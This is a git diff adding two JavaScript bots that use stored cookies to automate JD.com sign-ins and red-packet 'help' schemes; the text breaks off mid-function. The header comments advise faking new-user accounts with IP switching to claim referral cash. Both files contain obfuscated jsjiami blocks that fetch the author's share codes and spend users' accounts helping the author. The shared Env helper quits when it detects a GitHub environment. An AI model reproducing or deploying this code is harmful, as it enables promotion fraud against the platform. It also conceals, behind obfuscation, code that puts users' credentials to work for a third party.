+更新时间:2021-7-19 +入口:我的-赚30 +备注:赚30元每日签到红包、天降红包助力,在earn30Pins环境变量中填入需要签到和接受助力的账号。 +技巧:每月可以提现100元,但需要邀请一个新人下首单。可以用已注册手机号重新注册为新人账号,切换ip可以提高成功率。 +助力逻辑:优先账号内互助,再帮zero205助力 +TG学习交流群:https://t.me/cdles +3 1,6 * * * https://raw.githubusercontent.com/cdle/jd_study/main/jd_earn30.js +*/ +const $ = new Env("赚30元") +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random() * 4 + 10)}.${Math.ceil(Math.random() * 4)};${randomString(40)}` +var pins = process.env.earn30Pins ? process.env.earn30Pins : ''; +let cookiesArr = []; +var helps = []; +var tools = []; +!(async () => { + if (!pins) { + console.log("未填写环境变量earn30Pins,默认所有账号") + } + await requireConfig() + for (let i in cookiesArr) { + i = +i + cookie = cookiesArr[i] + if (!pins || pins.indexOf(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) != -1) { + var data = await requestApi('createSplitRedPacket', cookie, { + scene: 3 + }); + if (data) { + if (data.code === 0 && data.SplitRedPacketInfo) { + helps.push({ + redPacketId: data.SplitRedPacketInfo.redPacketId, + shareCode: data.SplitRedPacketInfo.shareCode, + id: i, + cookie: cookie + }) + } else if (data.code === 1) { + data = await requestApi('getSplitRedPacket', cookie); + if (data && data.code === '0' && data.SplitRedPacketInfo) {//&& data.SplitRedPacketInfo.finishedMoney != data.SplitRedPacketInfo.totalMoney + helps.push({ + redPacketId: data.SplitRedPacketInfo.redPacketId, + shareCode: data.SplitRedPacketInfo.shareCode, + id: i, + cookie: cookie + }) + } + } + } + data = await requestApi('fpSign', cookie); + if (data) { + if (data.code === 1) { + console.log(`${i + 1} 已经签到过了`) + } else if (data.code === '0') { + console.log(`${i + 1} 签到获得${data.money}`) + } else { + console.log(`${i + 1} 签到失败`) + } + } + } + tools.push({ + id: i, + cookie: cookie, + helps: [], + }) + } + let tools_temp; + if ($.isNode()){ + const v8 = require('v8'); + const structuredClone = obj => { + return v8.deserialize(v8.serialize(obj)); + }; + tools_temp = structuredClone(tools); + } + for (let help of helps) { + while (tools.length) { + var tool = tools.pop() + var data = await requestApi('splitRedPacket', tool.cookie, { shareCode: help.shareCode, groupCode: help.redPacketId }); + if (data) { + if (tool.id == help.id) { + continue + } + console.log(`${tool.id + 1}->${help.id + 1} ${data.text}`) + if (tool.helps.indexOf(help.id) != -1) { + break + } + if (data.text == "我的红包已拆完啦") { + tools.unshift(tool) + break + } + if (data.text.indexOf("帮拆出错") != -1) { + continue + } + if (data.text.indexOf("帮拆次数已达上限") != -1) { + continue + } + tool.helps.push(help.id) + tools.unshift(tool) + } + } + } + if ($.isNode()){ + console.log(`内部互助已完成,开始帮【zero205】助力,感谢!`) + tools = tools_temp; + await getCode() + for (let help of $.zero205) { + while (tools.length) { + var tool = tools.pop() + var data = await requestApi('splitRedPacket', tool.cookie, { shareCode: help.shareCode, groupCode: help.redPacketId }); + if (data) { + if (tool.id == help.id) { + continue + } + console.log(`${tool.id + 1}->${help.id + 1} ${data.text}`) + if (tool.helps.indexOf(help.id) != -1) { + break + } + if (data.text == "我的红包已拆完啦") { + tools.unshift(tool) + break + } + if (data.text.indexOf("帮拆出错") != -1) { + continue + } + if (data.text.indexOf("帮拆次数已达上限") != -1) { + continue + } + tool.helps.push(help.id) + tools.unshift(tool) + } + } + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) + .finally(() => { + $.done(); + }) + +function requestApi(functionId, cookie, body = {}) { + return new Promise(resolve => { + $.post({ + url: `${JD_API_HOST}?functionIdTest=${functionId}`, + headers: { + "Cookie": cookie, + "Host": "api.m.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": ua, + }, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + }, (_, resp, data) => { + try { + data = JSON.parse(data) + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +var _0xodS='jsjiami.com.v6',_0x53fe=[_0xodS,'\x67\x65\x74','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x61\x77\x2e\x66\x61\x73\x74\x67\x69\x74\x2e\x6f\x72\x67\x2f\x7a\x65\x72\x6f\x32\x30\x35\x2f\x75\x70\x64\x61\x74\x65\x54\x65\x61\x6d\x2f\x6d\x61\x69\x6e\x2f\x73\x68\x61\x72\x65\x43\x6f\x64\x65\x73\x2f\x33\x30\x2e\x6a\x73\x6f\x6e','\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x69\x50\x68\x6f\x6e\x65\x3b\x20\x43\x50\x55\x20\x69\x50\x68\x6f\x6e\x65\x20\x4f\x53\x20\x31\x33\x5f\x32\x5f\x33\x20\x6c\x69\x6b\x65\x20\x4d\x61\x63\x20\x4f\x53\x20\x58\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x36\x30\x35\x2e\x31\x2e\x31\x35\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x56\x65\x72\x73\x69\x6f\x6e\x2f\x31\x33\x2e\x30\x2e\x33\x20\x4d\x6f\x62\x69\x6c\x65\x2f\x31\x35\x45\x31\x34\x38\x20\x53\x61\x66\x61\x72\x69\x2f\x36\x30\x34\x2e\x31\x20\x45\x64\x67\x2f\x38\x37\x2e\x30\x2e\x34\x32\x38\x30\x2e\x38\x38','\x7a\x65\x72\x6f\x32\x30\x35','\x70\x61\x72\x73\x65','\x6c\x6f\x67','\u83b7\u53d6\u52a9\u529b\u7801\u6210\u529f\uff0c\u5f00\u59cb\u52a9\u529b','\x6c\x6f\x67\x45\x72\x72','\x46\x43\x6a\x4f\x44\x73\x43\x6a\x69\x50\x71\x57\x61\x6d\x69\x2e\x45\x55\x63\x6f\x41\x56\x6d\x2e\x76\x36\x3d\x3d'];var _0x1463=function(_0x83958c,_0xc60544){_0x83958c=~~'0x'['concat'](_0x83958c);var _0x1e47e3=_0x53fe[_0x83958c];return _0x1e47e3;};(function(_0x4609f8,_0xcce60e){var _0x588f01=0x0;for(_0xcce60e=_0x4609f8['shift'](_0x588f01>>0x2);_0xcce60e&&_0xcce60e!==(_0x4609f8['pop'](_0x588f01>>0x3)+'')['replace'](/[FCODCPqWEUAV=]/g,'');_0x588f01++){_0x588f01=_0x588f01^0x9a623;}}(_0x53fe,_0x1463));function getCode(){return new Promise(_0x404510=>{$[_0x1463('0')]({'\x75\x72\x6c':_0x1463('1'),'\x68\x65\x61\x64\x65\x72\x73':{'User-Agent':_0x1463('2')}},async(_0x52c516,_0x2c76d1,_0x4416bb)=>{try{$[_0x1463('3')]=JSON[_0x1463('4')](_0x4416bb);console[_0x1463('5')](_0x1463('6'));}catch(_0x331123){$[_0x1463('7')](_0x331123,_0x2c76d1);}finally{_0x404510();}});});};_0xodS='jsjiami.com.v6'; + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch (e) { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch (e) { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { } + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => { })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => { })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_fcdyj.js b/jd_fcdyj.js new file mode 100755 index 0000000..24404bd --- /dev/null +++ b/jd_fcdyj.js @@ -0,0 +1,280 @@ +/* +活动入口: 京东极速版-我的-发财大赢家 + * / + * 基于温某人大佬的脚本修改 + * 助力逻辑:优先助力互助码环境变量,中午12点之后再给我助力 + * TG交流群:https://t.me/jd_zero205 + * TG通知频道:https://t.me/jd_zero205_tz + * / +https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#发财大赢家 +1 6-22/3 * * * https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js, tag=新潮品牌狂欢, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "1 6-22/3 * * *" script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js tag=翻翻乐 + +===============Surge================= +发财大赢家 = type=cron,cronexp="1 6-22/3 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js + +============小火箭========= +发财大赢家 = type=cron,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js, cronexpr="1 6-22/3 * * *", timeout=3600, enable=true + */ +const $ = new Env('发财大赢家助力'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const dyjCode = $.isNode() ? (process.env.dyjCode ? process.env.dyjCode : null) : null //邀请码变量,不支持多账号,格式:redEnvelopeId@markedPin +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = `https://api.m.jd.com`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + message = '' + $.helptype = 1 + $.needhelp = true + $.canDraw = false + $.canHelp = true; + $.linkid = "yMVR-_QKRd2Mq27xguJG-w" + //开红包查询 + for (let i = 0; i < cookiesArr.length && $.needhelp; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.message = `【京东账号${$.index}】${$.UserName}\n` + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + } + if (!dyjCode) { + console.log(`环境变量中没有检测到助力码,开始获取【京东账号${$.index}】助力码`) + await open() + await getid() + } else { + dyjStr = dyjCode.split("@") + if (dyjStr[0]) { + $.rid = dyjStr[0] + $.inviter = dyjStr[1] + console.log(`检测到您已填助力码${$.rid},开始助力`) + await help($.rid, $.inviter, $.helptype) + } + } + } + await getcodeid() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.index = i + 1; + console.log(`\n******查询【京东账号${$.index}】红包情况******\n`); + await getinfo() + if ($.canDraw) { + console.log(`检测到账号${$.index}已可兑换,开始兑换`) + await exchange() + await $.wait(1000) + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function exchange() { + return new Promise(async (resolve) => { + let options = taskUrl("exchange", `{"linkId":"${$.linkid}", "rewardType":1}`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success) { + console.log(`【京东账号${$.index}】提现成功`) + } else { + console.log(`【京东账号${$.index}】提现失败`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function open() { + return new Promise(async (resolve) => { + let options = taskUrl("openRedEnvelopeInteract", `{"linkId":"${$.linkid}"}`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getid() { + return new Promise(async (resolve) => { + let options = taskUrl("redEnvelopeInteractHome", `{"linkId":"${$.linkid}","redEnvelopeId":"","inviter":"","helpType":""}`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + console.log(data.data.state) + if (data.data.state !== 0) { + if (data.success && data.data) { + console.log(`\n【您的redEnvelopeId】:${data.data.redEnvelopeId}`) + console.log(`\n【您的markPin】:${data.data.markedPin}`) + } else { + console.log(data) + } + } else { + console.log(`【京东账号${$.index}】为黑号,跳过`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getinfo() { + return new Promise(async (resolve) => { + let options = taskUrl("redEnvelopeInteractHome", `{"linkId":"${$.linkid}","redEnvelopeId":"","inviter":"","helpType":""}`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + console.log(data.data.state) + if (data.data.state !== 0) { + if (data.success && data.data) { + if (data.data.state === 3) { + console.log("今日已成功兑换") + $.needhelp = false + $.canDraw = false + } + if (data.data.state === 6) { + $.needhelp = false + $.canDraw = true + } + } else { + console.log(`当前余额:${data.data.amount} 还需 ${data.data.needAmount} `) + } + } else { + $.canDraw = false + console.log(`【京东账号${$.index}】为黑号,跳过`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function help(rid, inviter, type) { + return new Promise(async (resolve) => { + let options = taskUrl("openRedEnvelopeInteract", `{"linkId":"${$.linkid}","redEnvelopeId":"${rid}","inviter":"${inviter}","helpType":"${type}"}`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.data && data.data.helpResult) { + console.log(JSON.stringify(data.data.helpResult)) + if (data.data.helpResult.code === 16005 || data.data.helpResult.code === 16007) { + $.needhelp = false + $.canDraw = true + } else if (data.data.helpResult.code === 16011) { + $.needhelp = false + } + } else { + console.log(JSON.stringify(data)) + } + } + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +var _0xod1 = 'jsjiami.com.v6', _0x38f3 = [_0xod1, '\x67\x65\x74', '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x61\x77\x2e\x66\x61\x73\x74\x67\x69\x74\x2e\x6f\x72\x67\x2f\x7a\x65\x72\x6f\x32\x30\x35\x2f\x75\x70\x64\x61\x74\x65\x54\x65\x61\x6d\x2f\x6d\x61\x69\x6e\x2f\x73\x68\x61\x72\x65\x43\x6f\x64\x65\x73\x2f\x64\x79\x6a\x2e\x6a\x73\x6f\x6e', '\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x69\x50\x68\x6f\x6e\x65\x3b\x20\x43\x50\x55\x20\x69\x50\x68\x6f\x6e\x65\x20\x4f\x53\x20\x31\x33\x5f\x32\x5f\x33\x20\x6c\x69\x6b\x65\x20\x4d\x61\x63\x20\x4f\x53\x20\x58\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x36\x30\x35\x2e\x31\x2e\x31\x35\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x56\x65\x72\x73\x69\x6f\x6e\x2f\x31\x33\x2e\x30\x2e\x33\x20\x4d\x6f\x62\x69\x6c\x65\x2f\x31\x35\x45\x31\x34\x38\x20\x53\x61\x66\x61\x72\x69\x2f\x36\x30\x34\x2e\x31\x20\x45\x64\x67\x2f\x38\x37\x2e\x30\x2e\x34\x32\x38\x30\x2e\x38\x38', '\x6c\x6f\x67', '\x73\x74\x72\x69\x6e\x67\x69\x66\x79', '\x6e\x61\x6d\x65', '\x20\x41\x50\x49\u8bf7\u6c42\u5931\u8d25\uff0c\u8bf7\u68c0\u67e5\u7f51\u8def\u91cd\u8bd5', '\x61\x75\x74\x68\x6f\x72\x43\x6f\x64\x65', '\x70\x61\x72\x73\x65', '\x77\x61\x69\x74', '\x67\x65\x74\x48\x6f\x75\x72\x73', '\x6c\x65\x6e\x67\x74\x68', '\x55\x73\x65\x72\x4e\x61\x6d\x65', '\x6d\x61\x74\x63\x68', '\x69\x6e\x64\x65\x78', '\x69\x73\x4c\x6f\x67\x69\x6e', '\x0a\u3010\u4eac\u4e1c\u8d26\u53f7', '\x20\u53bb\u52a9\u529b\u3010\x7a\x65\x72\x6f\x32\x30\x35\u3011', '\x72\x65\x64\x45\x6e\x76\x65\x6c\x6f\x70\x65\x49\x64', '\x69\x6e\x76\x69\x74\x65\x72', '\x68\x65\x6c\x70\x74\x79\x70\x65', '\x6c\x6f\x67\x45\x72\x72', '\x43\x6a\x73\x6a\x42\x69\x61\x6d\x69\x72\x4e\x6b\x78\x43\x7a\x50\x2e\x4b\x63\x44\x6f\x6d\x2e\x76\x36\x72\x5a\x52\x58\x3d\x3d']; var _0x1f57 = function (_0x59ebe7, _0x5c1318) { _0x59ebe7 = ~~'0x'['concat'](_0x59ebe7); var _0x1c0dc4 = _0x38f3[_0x59ebe7]; return _0x1c0dc4; }; (function (_0x4c9495, _0x144512) { var _0x3c802f = 0x0; for (_0x144512 = _0x4c9495['shift'](_0x3c802f >> 0x2); _0x144512 && _0x144512 !== (_0x4c9495['pop'](_0x3c802f >> 0x3) + '')['replace'](/[CBrNkxCzPKDrZRX=]/g, ''); _0x3c802f++) { _0x3c802f = _0x3c802f ^ 0x98993; } }(_0x38f3, _0x1f57)); function getcodeid() { return new Promise(_0x3a078e => { $[_0x1f57('0')]({ '\x75\x72\x6c': _0x1f57('1'), '\x68\x65\x61\x64\x65\x72\x73': { 'User-Agent': _0x1f57('2') } }, async (_0x4e8a68, _0x27c69e, _0x3381c2) => { try { if (_0x4e8a68) { console[_0x1f57('3')]('' + JSON[_0x1f57('4')](_0x4e8a68)); console[_0x1f57('3')]($[_0x1f57('5')] + _0x1f57('6')); } else { $[_0x1f57('7')] = JSON[_0x1f57('8')](_0x3381c2); await $[_0x1f57('9')](0x7d0); if (new Date()[_0x1f57('a')]() >= 0xc) { for (let _0x102054 = 0x0; _0x102054 < cookiesArr[_0x1f57('b')]; _0x102054++) { if (cookiesArr[_0x102054]) { cookie = cookiesArr[_0x102054]; $[_0x1f57('c')] = decodeURIComponent(cookie[_0x1f57('d')](/pt_pin=([^; ]+)(?=;?)/) && cookie[_0x1f57('d')](/pt_pin=([^; ]+)(?=;?)/)[0x1]); $[_0x1f57('e')] = _0x102054 + 0x1; $[_0x1f57('f')] = !![]; console[_0x1f57('3')](_0x1f57('10') + $[_0x1f57('e')] + '\u3011' + $[_0x1f57('c')] + _0x1f57('11')); for (let _0x5a2b0b of $[_0x1f57('7')]) { await help(_0x5a2b0b[_0x1f57('12')], _0x5a2b0b[_0x1f57('13')], $[_0x1f57('14')]); await $[_0x1f57('9')](0x3e8); } } } } } } catch (_0xdf3627) { $[_0x1f57('15')](_0xdf3627, _0x27c69e); } finally { _0x3a078e(); } }); }); }; _0xod1 = 'jsjiami.com.v6'; + +function taskUrl(function_id, body) { + return { + url: `${JD_API_HOST}/?functionId=${function_id}&body=${encodeURIComponent(body)}&t=${Date.now()}&appid=activities_platform&clientVersion=3.5.2`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": 